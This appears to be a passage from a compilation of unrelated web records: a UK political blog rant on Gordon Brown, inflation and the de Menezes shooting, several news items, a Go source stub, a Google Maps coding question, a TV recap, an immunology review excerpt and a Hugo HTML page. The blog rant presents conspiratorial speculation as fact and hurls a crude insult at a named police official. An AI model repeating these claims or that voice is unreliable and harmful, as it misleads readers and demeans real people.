any.", "\n\n“This MP basically said that they’re creating an inflationary environment… 15% interest rates, not this year, but over the next 3 years”\n\nMake of it what you will, personally it tells me that everyone in the know is aware of what is coming next and what is needed, but for some reason Flash Gordon and Alistair Darling are out of the loop or didn’t get the memo. ", "It’s also becoming clear that Flash is intending to pull a Zimbabwe and start printing money (he calls this “quantitative easing” – which is another fancy financial bullshit term for printing money).", "\n\nYou see there is only two ways out of a recession, inflation or raising interest rates. ", "You should know what happens when the government uses inflation, it’s been done before by the Weimar Republic and more recently Zanu-PF.", "\n\nBut what about the other tool, interest rates? ", "Well, you see, this would cause millions of feckless, leveraged, mewing borrowers to realise the difference between debt and wealth – can’t have that, or can we?", "\n\nThe fact is we’re dangerously close to the edge of falling into hyperinflation and while its difficult to predict how disastrous this would be we do know that fixed loans would be eroded away, but so would the value of GBP, the value of any savings and investments too (you know, the things used to fund borrowing) – basically our ecomony would become worthless and most likely we’d all end up informally adopting the Euro.", "\n\nSo why does Flash want to print money? ", "There can only be one of three conclusions, either he…\n\nHas engineered this, in part, on purpose. ", "The most far reaching conclusion however I can’t help but wonder if he was hoping for a bust sooner, so that it would damage Bliar (and oust him out of office), or even, guessing (or feeling) he will lose an election soon, hoping to pass the bubble on to the Tories just before it burst (securing a short term for them, allowing him to be elected back into power at the next election). ", "Far reaching but not inconceivable – considering all the warnings he has ignored over the 10 years he was Chancellor.", "\n\nWhatever the reasons for his contempt of savers, the UK economy and the poor, all his actions are delaying the inevitable (and making it worse)… depression and potentially more civil unrest.", "\n\nSince I don’t contribute enough to my own blog, I sometimes take the liberty of reproducing stealing a comment I leave on someone elses blog, the following is what I just left over at The Osterley Times:\n\nIt’s about time the truth started to get out. ", "I never believed the official police or media account when certain witnesses were coming forward to say he had a heavy brown winter jacket on and “wires sticking out”.", "\n\nThe Met police have shamefully and barefaced tried to obfuscate and bury this incident from day 1.", "\n\nMr De Menzes reputation has been dragged through various incarnations of a rapist, drug user, illegal immigrant (overstayed visa) and such with the complicit help of evil publications like The Sun.", "\n\nWe have had dark days in the last 5 years with the political and authoritarian spin machine and though I may sound like a conspiraloon there are far too many questions and nefarious subplots going on around our government and that of the US.", "\n\nSomeone should lose their job- possibly go to prison over De Menezes, unfortunately I think all that will come out of this inquiry is a fine at the most.", "\n\nLastly, I hope the worst for Cressida Prick.", "\n\nShe has openly admitted that this could happen again, and with the same forked tongue has the gall to defend their actions and say that there was no way it could be prevented, no lessons learned, no changes to policy.", "\n\nAnd it requires a change of government policy that’s for sure. ", "The announcement of a shoot-to-kill policy came in the form of a bullet through one of our own heads (‘one of our own’ as in ‘innocent civilian’).", "\n\nPolicies like this should not be made in secret and I find it shocking that Tony Blair, Ken Livingstone and Ian Blair are not all sitting in jail now awaiting sentencing. ", "Gordon Brown of course may not have been the man to order this policy but he is also complicit in that he allows it to now continue.. just as he allows the Iraq war to continue.", "\n\nAnd watch for the announcement of troop withdrawal from someone with balls like Obama, will Brown then follow and withdraw our own?", "\n\nSomeone in the Met needs to lose their head for this, otherwise it could be any one of us travelling the tube one day.. best not to go on any foreign holidays and risk getting a tan!", "\n\n[/rant]\n\nSorry but De Menezes the whole thing just makes my blood boil- I’m so angry with the people who did this and have got away with it.", "\n\nAnyone following the events surrounding Jean Charles De Menezes murder unfortunate identity crisis, the media spin, government and police spin and inquiry would be well aware of the gross amount of lies misunderestimations about what happened that day.", "\n\nMany of us who didn’t swallow the media and Met police official pill have now had our suspicions confirmed by at least 2 witnesses that this was a cold execution of an innocent man who was given no warning.", "\n\nNext time you board a tube, you may want to make sure that you (a) don’t have a tan, (b) aren’t foreign, (c) don’t have a heavy rucksack (though this seems to make no difference) and (d) better warn your family in advance there is a slight chance you may not survive the journey.", "\n\nAlso, you may want to prepare your family that if you are ever killed by anti-terrorists whilst travelling on the tube or generally minding your own business, that you are in no way a sex offender, rapist, peadophile, drug dealer, illegal immigrant, know a muslim who knows a muslim or anything else which may slightly damage a reputation because, garaunteed, this is what you will become as the anti-terrorists attempt to clear themselves of all wrongdoing in the eyes of the Daily Mail.", "\n\nGod Bless you all, as I frequently travel the tube, and have just written a peice of anti-government hate speech, I cannot garuantee I will survive my next tube journey to blog again.. however please be assured I’ve never raped, sexed a minor, dealt in drugs, illegally entered the UK… but I did overstay a visa in Switzerland! – ", "oh shit that’s it then." ]

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[ "Email Share 84 Shares\n\nVivica A. Fox is apologizing to the LGBT community after making comments saying that gay men weren’t welcome at her male strip club featured on her Lifetime reality show “Black Magic.”", "\n\nWhen asked on the radio show “The Breakfast Club” if gay men could go to the shows, Fox responded “Hell no.”", "\n\nWhen asked why the dancers couldn’t dance for gay men, Fox says “Because there’s no need to.”", "\n\n“They dance for women. ", "It’s called the ultimate girl’s night out for a reason,” Fox elaborates.", "\n\nDirector and executive producer of “Black Magic,” Jean-Claude LaMarre, told TMZ he will remain an executive producer on the show but will no longer associate with Fox.", "\n\n“The comments were out of order, and it does not represent our attitudes toward the LGBT community. ", "All are welcomed,” LaMarre told TMZ. “", "Vivica speaks for herself not the business or the show.”", "\n\nAmid the backlash, Fox has now apologized in an Instagram comment.", "\n\n“I’ve been a FRIEND n supporter of the LGBT community for years! ", "My intention was not to offend anyone and I’m woman enough to apologize if you felt that way,” Fox writes. “", "My show has already been taped and I was just doing something for the ladies but all are welcome to enjoy Vivica’s Black Magic Show! ", "It’s HAWT… I’m all about LOVE not HATE dawling! ", "Have a blessed day.”" ]

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[ "// Copyright 2019 The Go Authors. ", "All rights reserved.", "\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.", "\n\n// +build !", "gccgo\n\npackage cpu\n\n// haveAsmFunctions reports whether the other functions in this file can\n// be safely called.", "\nfunc haveAsmFunctions() bool { return true }\n\n// The following feature detection functions are defined in cpu_s390x.s.", "\n// They are likely to be expensive to call so the results should be cached.", "\nfunc stfle() facilityList\nfunc kmQuery() queryResult\nfunc kmcQuery() queryResult\nfunc kmctrQuery() queryResult\nfunc kmaQuery() queryResult\nfunc kimdQuery() queryResult\nfunc klmdQuery() queryResult\n" ]

{ "pile_set_name": "Github" }

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[ "Q:\n\nHow to search location on google maps\n\nI have data in database like this:\nDatabase table\n\nName : Jack \nmob_number : 445452454 \naddress : al saada street \ncountry : dubai\n\nIn my view \n@item.", "Name\n@item.address\n@item.country\n\n<script type=\"text/javascript\" src=\"http://maps.google.com/maps/api/js?sensor=false\"></script>\n<script type=\"text/javascript\">\n function initialize() {\n var latlng = new google.maps.", "LatLng(40.716948, -74.003563);\n var options = {\n zoom: 14,\n center: latlng,\n mapTypeId: google.maps.", "MapTypeId.", "ROADMAP\n };\n var map = new google.maps.", "Map(document.getElementById(\"map\"), options); \n }\n\n initialize();\n</script>\n\nHow do I pass @item.address to google maps for search location ?", "\nhttp://prntscr.com/8a6m4r click to view \nMY view:\n @if (Model !", "= null)\n {\n if (Model.", "Count() !", "= 0)\n {\n <div class=\"\">\n @foreach (var item in Model)\n {\n <div class=\"tiptext\">\n <b style=\"margin-left: 0px; font-size: large;color: #1A0DB2;\">@item.", "BusinessName</b>\n <h3 style=\"margin: 5px 0px 5px 0px;color: rgb(0, 145, 0);\"> @item.", "FirstName</h3>\n <h3 style=\"margin: 8px; color:black\">@item.", "BusinessCategory </h3>\n <div class=\"description\">\n <div class=\"description_image\">\n <img src=\"~/Images/popup_pointer.jpg\" />\n <div class=\"POP_UP_outer\">\n <div class=\"description_background\">\n <div class=\"description_map\">\n <b>Map</b>\n\n </div><hr />\n <div class=\"description_body\">\n <b>Description </b><h4 class=\"des\">@item.", "BusinessDescription</h4>\n <b>Address2 </b><h4 class=\"des\">@item.", "Address1</h4>\n <b>Email </b><h4 style=\"color:blue; margin: 5px 0px 5px 0px;\">@item.", "EmailID </h4>\n <b>WorkNumber </b><h4 class=\"des\">@item.", "WorkNumber</h4>\n <b>MobileNumber </b><h4 class=\"des\">@item.", "MobileNumber</h4>\n <b>City </b><h4 class=\"des\">@item.", "City</h4>\n <b>State </b><h4 class=\"des\">@item.", "State</h4>\n <b>ZipCode </b><h4 class=\"des\">@item.", "ZipCode</h4>\n @Html.", "ActionLink(\"Book An Appointment\", \"CalendarView\", \"Appt\", new { id = @item.", "UserID }, null)\n @*@Html.", "ActionLink(\"Book An Appointment\", \"Popup\", \"Search\", new { @class = \"openDialog\", data_dialog_id = \"aboutlDialog\", data_dialog_title = \"Additinal Customer\" })*@\n </div>\n </div>\n </div>\n </div>\n </div>\n </div>\n\n }\n </div>\n }\n else\n {\n <label id=\"lblErrorMsg\" title=\"Record not fount...!\" ", "style=\"color:red;\">Record not found...!</label>\n }\n\nHover script\n <script type=\"text/javascript\">\n $(\".tiptext\").mouseover(function () {\n $(this).children(\".description\").show();\n }).mouseout(function () {\n $(this).children(\".description\").hide();\n\n });\n\n</script>\n\nu can see map on my view i want to load map there\n\nA:\n\nYou need to use it like this it work for me\nfunction initialize() {\n // Change the latitude and longitude to your location. ", "You can also get the coordinates here: http://itouchmap.com/latlong.html\n var myLatlng = new google.maps.", "LatLng(25.548710, 82.084777);\n var mapOptions = {\n zoom: 17,\n center: myLatlng,\n mapTypeId: google.maps.", "MapTypeId.", "ROADMAP\n }\n var map = new google.maps.", "Map(document.getElementById('map-canvas'), mapOptions);\n\n var marker = new google.maps.", "Marker({\n position: myLatlng,\n map: map\n });\n\n var infowindow = new google.maps.", "InfoWindow({\n content:\n '<div class=\"map-wrap\">' +\n // Company name\n '<div class=\"b-title\">' + 'Company Name' + '</div>' +\n // Company street\n '<p>' + 'Company Street' + '</p>' +\n // Company city and state\n '<p>' + 'Company City and State' + '</p>' +\n // Clearfix with border\n '<div class=\"clrfx map-div\">' + '</div>' +\n // Row 1\n '<div class=\"row\">' +\n // Phone\n '<div class=\"b-info cell w-49\">' + '<span class=\"entypo-phone\">' + '</span>' + '+91-879-902-1616' + '</div>' +\n // Email\n '<div class=\"b-info cell w-49\">' + '<span class=\"entypo-paper-plane\">' + '</span>' + 'example@example.com' + '</div>' +\n '</div>' +\n // Row 2\n '<div class=\"row\">' +\n // Mobile\n '<div class=\"b-info cell w-49\">' + '<span class=\"entypo-mobile\">' + '</span>' + '+91-879-902-1616' + '</div>' +\n // Website\n '<div class=\"b-info cell w-49\">' + '<span class=\"entypo-monitor\">' + '</span>' + 'www.example.com' + '</div>' +\n '</div>' +\n // Bottom margin clearfix\n '<div class=\"clrfx mt-10\">' + '</div>' +\n '</div>'\n });\n makeInfoWindowEvent(map, infowindow, marker);\n}\n\nfunction makeInfoWindowEvent(map, infowindow, marker) {\n google.maps.event.addListener(marker, 'click', function () {\n infowindow.open(map, marker);\n });\n}\n\ngoogle.maps.event.addDomListener(window, 'load', initialize);\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "Jerusalem (AFP) - The United States was conspicuously tight-lipped Tuesday amid a world outcry over a new Israeli law allowing the appropriation of private Palestinian land for Jewish settler outposts.", "\n\nThe United Nations, the European Union and the Arab League were just some of those coming out against the legislation passed in parliament late Monday.", "\n\n\"This bill is in contravention of international law and will have far reaching legal consequences for Israel,\" UN Secretary General Antonio Guterres said in a statement.", "\n\n\"The European Union condemns the recent adoption of the 'Regularisation Law',\" foreign policy chief Federica Mogherini said, arguing it \"crosses a new and dangerous threshold by legalising under Israeli law the seizure of Palestinian property rights\".", "\n\nThe law legalises dozens of wildcat outposts and thousands of settler homes in the occupied West Bank, and prompted a Palestinian call for the international community to punish Israel.", "\n\nPro-Palestinian Israeli NGOs said they would ask the Supreme Court to strike down the law, and opposition leader Isaac Herzog warned the legislation could result in Israeli officials facing the International Criminal Court.", "\n\nWashington refused direct comment, in stark contrast to the settlement criticism repeatedly voiced under Barack Obama.", "\n\n\"Prime Minister (Benjamin) Netanyahu will be here on February 15. ", "I don't want to get ahead of that now,\" White House spokesman Sean Spicer said.", "\n\nThe US State Department said President Donald Trump's new administration \"needs to have the chance to fully consult with all parties on the way forward\".", "\n\n- 'Stealing Palestinian land' -\n\nFrance called the bill a \"new attack on the two-state solution\", while Britain said it \"damages Israel's standing with its international partners\".", "\n\nTurkey \"strongly condemned\" the law and Israel's \"unacceptable\" settlement policy, and the Arab League accused Israel of \"stealing the land and appropriating the property of Palestinians\".", "\n\nStory continues\n\nBritain and Israel's Arab neighbour Jordan also expressed concern.", "\n\nSeparately to the new law, Israel has approved more than 6,000 settler homes since Trump took office on January 20 having signalled a softer stance on the issue than his predecessor.", "\n\nThe law, which passed 60 to 52 in its final reading, will allow Israel to legally seize Palestinian private land on which Israelis built outposts without knowing it was private property or because the state allowed them to do so.", "\n\nPalestinian owners will be compensated financially or with other land.", "\n\nIt would apply to around 53 outposts as well as some houses within existing settlements, potentially legalising more than 3,800 homes, according to anti-settlement NGO Peace Now, which called the law \"another step towards annexation and away from a two-state solution\".", "\n\nThe law could still be challenged, with Defence Minister Avigdor Lieberman saying last week it was likely to be struck down by the Supreme Court.", "\n\nInternational law considers all settlements illegal, but Israel distinguishes between those it sanctions and those it does not, which are known as outposts.", "\n\n- Protection for settlers -\n\nThe new law would protect settlers against eviction from outposts discovered to have been built on private Palestinian lands such as in the case of Amona, where 42 families were evicted and their homes demolished in recent days by order of Israel's Supreme Court.", "\n\nTo some Israelis, the law reflects their God-given right over the territory, regardless of the courts, the Palestinians and the international community.", "\n\n\"All of the Land of Israel belongs to the Jewish people,\" said Science Minister Ofir Akunis of Netanyahu's Likud party, using the biblical term that includes the West Bank.", "\n\n\"This right is eternal and indisputable.\"", "\n\nPalestinian official Hanan Ashrawi called for the international community to assume its \"moral, human and legal responsibilities and put an end to Israel's lawlessness\".", "\n\nThe act marked the first time Israel applied its civil law to land in the West Bank recognised as Palestinian, law professor Amichai Cohen told AFP.", "\n\nUN Middle East peace envoy Nickolay Mladenov also raised the possibility of potential court cases in the International Criminal Court against Israeli officials.", "\n\nIsraeli Attorney General Avichai Mandelblit has also warned the government that the law may be unconstitutional and risks exposing Israel to international prosecution for war crimes.", "\n\nHuman Rights Watch said the legislation \"reflects Israel's manifest disregard of international law\".", "\n\n\"The Trump administration cannot shield them from the scrutiny of the International Criminal Court,\" HRW warned.", "\n\nBezalel Smotrich of the far-right Jewish Home party, one of the forces behind the legislation, thanked the American people for electing Trump as president, \"without whom the law would have probably not passed\"." ]

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[ "Crazy Ex-Girlfriend I Am Ashamed Season 4 Episode 2 Editor’s Rating 5 stars * * * * * « Previous Next » Photo: Scott Everett White via The CW\n\nBoo! ", "Halloween greetings from the scariest place of all: Rebecca’s past. ", "This spooky, silly outing was a fun departure that reminded me of the show’s first season, when there was more time for themed episodes and letting the cast chill out together. ", "It still ties into the season’s big theme of Rebecca’s journey to become a better person, but it’s also a laid-back refresher after all the wild swings of the season premiere.", "\n\nThings kick off with Rebecca learning the most important lesson of our time: don’t read the comments. (", "Hi, recap haters! ", "I have no idea how many of you there are and it’s awesome.) ", "The Daily Covina has run a sensational account of Rebecca’s long list of misdeeds, and even she has to admit that “it’s not fake news, it’s just news.” ", "Rebecca quickly falls into a shame-spiral so deep it manifests as agoraphobia. ", "Even an entreaty from Kathy Najimy to come watch “Friendtopia”-favorite Hocus Pocus isn’t going to get her out of the house.", "\n\nThe resulting agoraphobia march, “Seize the Day,” is like an anxiety-themed counterpart to “Sexy French Depression,” except instead of blacking out with dessert wine, Rebecca’s getting off to gay porn. (", "Hats off to Standards and Practices for allowing that telltale waistband-reach before cutting away. ", "Y’all are the real heroes.)", "\n\nI’d been wondering when the frequent mentions of Rebecca and Heather’s living in a onetime drug dealer-murder house would come to fruition, and it turns out this is the episode. ", "Rather than cope with her scary currently reality, Rebecca becomes convinced that her home is haunted by the ghost of one of the victims, a perfectly nice college student named Devon who had broken bad one time to score a little meth. ", "CXG is truly world-class when it comes to externalizing women’s self-criticism and the gory details of how we act when no one’s looking, but manifesting these things in a ghost is especially clever.", "\n\nRebecca’s quest to help Devon’s ghost overcome her shame also comes with a bonus treat: the return of the delightfully creepy cemetery guard played by Patton Oswalt. ", "His encouragement of Rebecca to cope with the past and move on is especially poignant given Oswalt’s recent loss of his wife and his remarriage, resonances that the show gently hints at without making a big deal of it. ", "Even better, he contributes his best Bobby Pickett impression to “The Cringe,” a hilarious graveyard set piece about foot-in-mouth moments accented by some killer zombie makeup and costumes.", "\n\nNathaniel, meanwhile, is extremely out on Halloween costumes — especially the George Washington ensemble worn by Rebecca’s BPD-group pal Bert Buttenweiser, whose previous silent partnership in the law firm has suddenly become quite loud. ", "With Nathaniel and Rebecca off on their respective vision quests and Darryl on paternity leave, onetime sewer-dweller Bert (who has “a B.A., two Ph.", "Ds, an M.D., a J.D., and I’m down with O.P.P.”) has become Nathaniel Sr.", "’s new darling, reliably bringing back all of Nathaniel’s daddy issues. ", "It’s a throwaway storyline that’s mainly an excuse to get Esther Povitsky and Michael McMillian into some really silly costumes, but I’m not complaining about that — all of the business with Tim’s peach outfit was pretty funny.", "\n\nFinally, we get a glimpse into Darryl’s struggles with single parenting, as he frets about giving little Heabecca, who now has the slightly more palatable nickname “Hebby,” the same opportunities that his older daughter had with two parents. ", "That manifests as an obsession with the one thing Darryl definitely can’t provide — breast milk. ", "As reluctant babysitter and massive Halloween hater WhiJo gets his heart thawed by Hebby in a koala costume, Darryl desperately tries to stock his freezer on the “white market,” missing all the fun.", "\n\nParenting and kid stuff really aren’t in this show’s DNA, and as with season two’s “Rebecca babysits Paula’s son” storyline, you can really feel it pulling its punches on making fun of judgy moms or crazy modern parenting standards at Darryl’s “Wee Covina” group, lest anyone get offended. ", "But it does get to the core of something real about how single parents feel the need to meet a higher standard, and make up for the “missing” parent.", "\n\nThe episode wraps with Rebecca also finding something that’s missing: her ability to forgive herself. ", "The “haunting” she experienced might just have been steam gassing off from an errant tampon-stuffed pipe, but she’s now finally able to move on. ", "Or is she? ", "Probably yes. ", "But are we sure?", "\n\nOther Notes:\n\n• “Meet Rebecca” and the chirpy new season-four theme song of the same name! ", "I’ll confess that as a big fan of the previous three themes, I’m not wild about it. ", "Its deeper message seems to be that women’s complex personalities can’t be reduced to a tidy sitcom-style summary, but that is also true of the season-one theme. ", "Maybe it’ll make more sense as the season goes on, but for now, it’s my least favorite of the four.", "\n\n• Like Rebecca and Kathy Najimy, I was surprised to learn that you really should not flush tampons! ", "I love this show’s endearingly nerdy commitment to education large and small. ", "I also somehow missed the assault allegations against David Copperfield mentioned at the #gurlgroup4eva’s séance.", "\n\n• For that reason, it should probably not surprise me that the West Covina town motto (“Live, Work, Play”) that “The Cringe” clowns on is very much real. (“", "In fairness, I was also high” was the biggest laugh of the episode for me.)", "\n\n• It might have just been a costume, but Josh really would make an incredible weatherman (well, aside from the whole meteorology part of the job). ", "Please let this be the answer to his career crisis." ]

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[ "Buster's is OPEN for take-out and deliveries with SkiptheDishes & UberEats. ", "Our hours are 4pm-8pm. ", "Call us at 613-836-7007 to place your order for pick up. ", "Our dine-in specials will now be available for take-out only. ", "Click on promotions tab above for details. ", "Keep posted to our website and follow us on Facebook and Instagram @ bustersottawa. ", "Rally for Restaurants - order $25 or $50 gift card and receive $10 from Stella Artois.", "Keep well. ", "Be safe. ", "Until we see each other again." ]

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[ "Holy shit I just noticed their faces got swapped after vampman's talked about it, but it'll still make more sense had the speech bubble belonged to Swag's character since he's the one with his hands opened..\n\nHoly shit I just noticed their faces got swapped after vampman's talked about it, but it'll still make more sense had the speech bubble belonged to Swag's character since he's the one with his hands opened.." ]

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[ "The adoptive transfer of tumor-specific lymphocytes is actively being tested in the clinic for the treatment of chronic viral infections and some types of cancer.[@R1],[@R2] In the latter setting, autologous lymphocytes are isolated from the peripheral blood or directly from neoplastic lesions, expanded to considerable amounts and optionally activated ex vivo, and eventually reinfused into the patient. ", "To support the expansion and differentiation of adoptively transferred cells, reinfusion is often preceded by lymphodepleting treatments such as total body irradiation and/or high-dose chemotherapy and accompanied by massive doses of interleukin (IL)-2.[@R1],[@R3] Antitumor T cells are functionally competent ex vivo,[@R4] and may induce tumor regression in vivo[@R5] but generally fail to persist for long periods upon adoptive transfer,[@R6] thus providing limited clinical benefits.", "\n\nThe memory T-cell compartment is organized in dozens of cell subsets, which can be identified by the analysis of distinct phenotypic and functional markers by polychromatic flow cytometry.[@R7] While progressively differentiating from a stem-cell memory T (T~SCM~) stage to a central memory (T~CM~), effector memory (T~EM~) and terminally differentiated effector (T~TE~) stage, T cells gradually lose or acquire specific functions in a continuum pattern.[@R5] In this setting, T~SCM~ cells, which have recently been shown to constitute the most undifferentiated human T-cell compartment exhibiting *bona fide* memory functions, are capable of generating all memory cell subsets, display superior persistence and expansion capabilities upon adoptive transfer into immunodeficient hosts and preferentially survive for long periods following the loss of the cognate antigen.[@R8],[@R9]\n\nAccumulating preclinical and clinical evidence support the notion that early-differentiated T-cell populations, such as T~SCM~ and T~CM~ cells, exert superior antitumor activities in vivo upon adoptive transfer.[@R5] Unfortunately, the tumor antigen-specific memory T cells that are employed in adoptive cell transfer (ACT)-based clinical trials are often highly differentiated, as they have been exposed to chronic inflammation and continuous antigenic stimulation in vivo prior to isolation. ", "In addition, the procedures that are used for the expansion of T cells ex vivo are associated with (at least some degree of) terminal differentiation, loss of proliferative capacity and exhaustion and/or senescence.[@R5],[@R10] Therefore, approaches based on early-differentiated T cells or involving a step of \"rejuvenation\" of exhausted T cells may considerably improve the therapeutic potential of ACT.", "\n\nInhibition of the glycogen synthase kinase 3β (GSK-3β) signaling pathway by the small molecule TWS119 has recently been shown to arrest T-cell differentiation and to stimulate the generation of T~SCM~ cells.[@R9] Along similar lines, Cieri et al. ", "have recently described a clinical grade protocol to produce large numbers of T~SCM~ cells from naïve precursors by activating them with anti-CD3/anti-CD28 antibody-coated beads in the presence of IL-7 and IL-15.[@R11] T cells expanded by this method not only displayed a phenotype and gene expression profile similar to those of naturally-occurring T~SCM~ cells, but also could readily be transduced by a lentiviral vector coding for a tumor-specific T-cell receptor (TCR). ", "As naïve T cells are generally abundant in the peripheral blood and can be rapidly isolated by magnetic beads or cell sorters, this technique allows for the generation of large numbers of tumor-specific T~SCM~ cells with improved effector potential.", "\n\nMore recently, Nishimura et al. ", "and Vizcardo et al. ", "have explored the use of the induced pluripotent stem cell (iPSC) technology to \"rejuvenate\" antigen-specific T cells.[@R12],[@R13] Both groups obtained iPSCs from T-cell clones specific for the melanoma-associated antigen MART-1 or the HIV-1 protein Nef,[@R14] and re-differentiated them into mature, rejuvenated T cells by using T cell-specific signals. ", "Such rejuvenated T cells maintained the original rearrangement of TCR-coding genes, produced interferon γ (IFNγ) in response to antigenic stimulation, displayed elongated telomeres (which indicate an increased replicative potential) and were capable of expanding to considerable extents in vitro. ", "Nishimura et al. ", "demonstrated that rejuvenated cells express much higher levels of cytotoxic molecules than the clones they derive from, and lack the exhaustion marker programmed death 1 (PD-1).[@R12],[@R15],[@R16] Interestingly, the phenotype of these cells does not match that of early-differentiated memory cells, but rather that of T~EM~ cells, at least relative to CD45RA and CCR7 expression.[@R12] In addition, rejuvenated cells appear to express only marginal levels of the co-stimulatory molecules CD27 and CD28.[@R12],[@R17] It is therefore tempting to speculate, yet remains to be formally demonstrated, that the rejuvenating program allows T cells to acquire killer functions while maintaining their proliferative potential, as generally occurs during progressive differentiation. ", "In the future, it will be important to test whether rejuvenated T cells are able to expand in vivo upon adoptive transfer into immunodeficient mice, and whether they are able to exert antitumor effector functions in xenogenic models.", "\n\nAs it stands, the iPSC technology combined with expansion protocols involving TWS119 or IL-7 plus IL-15 constitutes an efficient approach to generate a consistent amount of T~SCM~ cells with improved functional capacity. ", "Further studies are needed to elucidate the true clinical potential of rejuvenated T cells. ", "This said, the discovery of early-differentiated cells as well as the development of re-differentiation protocols constitute important tools to ameliorate the persistence and efficacy of adoptively transferred T cell for the therapy of chronic viral infections and cancer.", "\n\nPreviously published online: [www.landesbioscience.com/journals/oncoimmunology/article/24103](http://www.landesbioscience.com/journals/oncoimmunology/article/24103/)\n\nACT\n\n: adoptive cell transfer\n\nGSK-3β\n\n: glycogen synthase kinase 3β\n\nIFNγ\n\n: interferon γ\n\nIL\n\n: interleukin\n\nPD1\n\n: programmed death 1\n\nT~CM~\n\n: central memory T\n\nTCR\n\n: T-cell receptor\n\nT~EM~\n\n: effector memory T\n\nT~TE~\n\n: terminally differentiated effector T\n\nT~SCM~\n\n: stem-cell memory T\n\n[^1]: These authors contributed equally to this work.", "\n" ]

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[ "<!", "DOCTYPE html>\n<html lang=\"en-us\">\n <head>\n \n <meta charset=\"utf-8\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"chrome=1\">\n<meta name=\"HandheldFriendly\" content=\"True\">\n<meta name=\"MobileOptimized\" content=\"320\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<meta name=\"referrer\" content=\"no-referrer\">\n<meta name=\"description\" content=\"Website Description\">\n<title>\nProjects - Introduction\n</title>\n\n<link href=\"/projects/index.xml\" rel=\"alternate\" type=\"application/rss+xml\" title=\"Introduction\" />\n\n <meta property=\"og:title\" content=\"Projects - Introduction\" />\n<meta property=\"og:type\" content=\"website\" />\n<meta property=\"og:description\" content=\"Website Description\"/>\n<meta property=\"og:url\" content=\"http://example.com/projects/\"/>\n<meta property=\"og:site_name\" content=\"Introduction\"/>\n\n\n\n\n<meta property=\"og:image\" content=\"http://example.com/home/profile.jpg\"/>\n\n\n\n\n \n<link rel=\"shortcut icon\" href=\"/img/fav.ico\">\n\n\n \n\n\n\n\n\n<link rel=\"stylesheet\" href=\"/css/main.min.daa833377fb1636f8cbfa65c601050bb5475623deb7aa6e6fdde94a064a6185d.css\" integrity=\"sha256-2qgzN3&#43;xY2&#43;Mv6ZcYBBQu1R1Yj3reqbm/d6UoGSmGF0=\" crossorigin=\"anonymous\" media=\"screen\">\n\n\n\n\n\n \n \n \n \n </head>\n <body>\n <section id=\"top\" class=\"section\">\n \n <div class=\"container hero fade-in one \">\n \n <h1 class=\"bold-title is-1\">Projects</h1>\n \n </div>\n \n <div class=\"section fade-in two \">\n \n<div class=\"container\">\n <hr>\n <nav class=\"navbar\" role=\"navigation\" aria-label=\"main navigation\">\n \n <a role=\"button\" class=\"navbar-burger\" data-target=\"navMenu\" aria-label=\"menu\" aria-expanded=\"false\" >\n <span aria-hidden=\"true\"></span>\n <span aria-hidden=\"true\"></span>\n <span aria-hidden=\"true\"></span>\n </a>\n <div class=\"navbar-menu \" id=\"navMenu\">\n \n \n \n \n <a class=\"navbar-item\" href=\"/\">main</a>\n \n\n \n \n\n \n \n \n\n \n \n \n\n \n \n \n \n \n <a class=\"navbar-item\" href=\"/#about\">About</a>\n \n \n \n \n \n \n \n \n \n <a class=\"navbar-item\" href=\"http://example.com/projects/\">\n \n Project\n \n </a>\n \n \n \n \n \n \n \n \n \n \n \n <a class=\"navbar-item\" href=\"http://example.com/blog/\">\n \n Blog\n \n </a>\n \n \n \n \n \n \n \n <a class=\"navbar-item\" href=\"/#lorem\">Lorem Ipsum</a>\n \n \n \n \n\n \n \n <a class=\"navbar-item\" href=\"/#contact\">Contact</a>\n \n \n\n \n \n \n \n <a class=\"navbar-item\" href=\"http://example.com/es/\">Español</a>\n \n \n \n <a class=\"navbar-item\" href=\"http://example.com/de/\">Deutsch</a>\n \n \n\n \n \n </div>\n </nav>\n <hr>\n</div>\n\n\n\n \n <div class=\"container markdown top-pad\">\n <p>Here is some introduction text for my projects. ", "You can set this text in the <code>/projects/_index.md</code> file. ", "This page uses the <code>/layouts/projects/list.html</code> template.</p>\n\n </div>\n <div class=\"container\">\n <div class=\"section\">\n <div class=\"columns is-multiline\">\n \n \n \n \n \n <div class=\"column is-one-third\">\n <div class=\"card\">\n <div class=\"card-image\">\n <figure class=\"image is-3by2\">\n <a href=\"http://example.com/projects/photography/\">\n \n \n \n <img src=\"http://example.com/projects/photography/camera_hu3d03a01dcc18bc5be0e67db3d8d209a6_30380_302x0_resize_q75_box.jpg\" alt =\"camera.jpg\">\n \n \n </a>\n </figure>\n </div>\n <div class=\"card-content has-text-centered top-pad\">\n <a href=\"http://example.com/projects/photography/\">\n Photography\n </a>\n </div>\n </div>\n </div>\n \n \n \n \n <div class=\"column is-one-third\">\n <div class=\"card\">\n <div class=\"card-image\">\n <figure class=\"image is-3by2\">\n <a href=\"http://example.com/projects/design/\">\n \n \n \n <img src=\"http://example.com/projects/design/plant_hu3d03a01dcc18bc5be0e67db3d8d209a6_34602_302x0_resize_q75_box.jpg\" alt =\"plant.jpg\">\n \n \n </a>\n </figure>\n </div>\n <div class=\"card-content has-text-centered top-pad\">\n <a href=\"http://example.com/projects/design/\">\n Design\n </a>\n </div>\n </div>\n </div>\n \n \n \n \n <div class=\"column is-one-third\">\n <div class=\"card\">\n <div class=\"card-image\">\n <figure class=\"image is-3by2\">\n <a href=\"http://example.com/projects/writing/\">\n \n \n \n <img src=\"http://example.com/projects/writing/workday_hu3d03a01dcc18bc5be0e67db3d8d209a6_59645_302x0_resize_q75_box.jpg\" alt =\"workday.jpg\">\n \n \n </a>\n </figure>\n </div>\n <div class=\"card-content has-text-centered top-pad\">\n <a href=\"http://example.com/projects/writing/\">\n Writing\n </a>\n </div>\n </div>\n </div>\n \n </div>\n </div>\n </div>\n\n\n \n <div class=\"container\">\n <hr>\n</div>\n<div class=\"container has-text-centered top-pad\">\n <a href=\"#top\">\n <i class=\"fa fa-arrow-up\"></i>\n </a>\n</div>\n\n<div class=\"container\">\n <hr>\n</div>\n\n <div class=\"section\" id=\"footer\">\n <div class=\"container has-text-centered\">\n \n <span class=\"footer-text\">\n <a href=\"https://github.com/victoriadrake/hugo-theme-introduction/\"><strong>Introduction</strong></a> theme for <a href=\"http://gohugo.io/\">Hugo</a>. ", "Made with <a href=\"https://victoria.dev\"><i class=\"fa fa-heart\"></i> and <i class=\"fa fa-coffee\"></i></a> by open source contributors.", "\n </span>\n 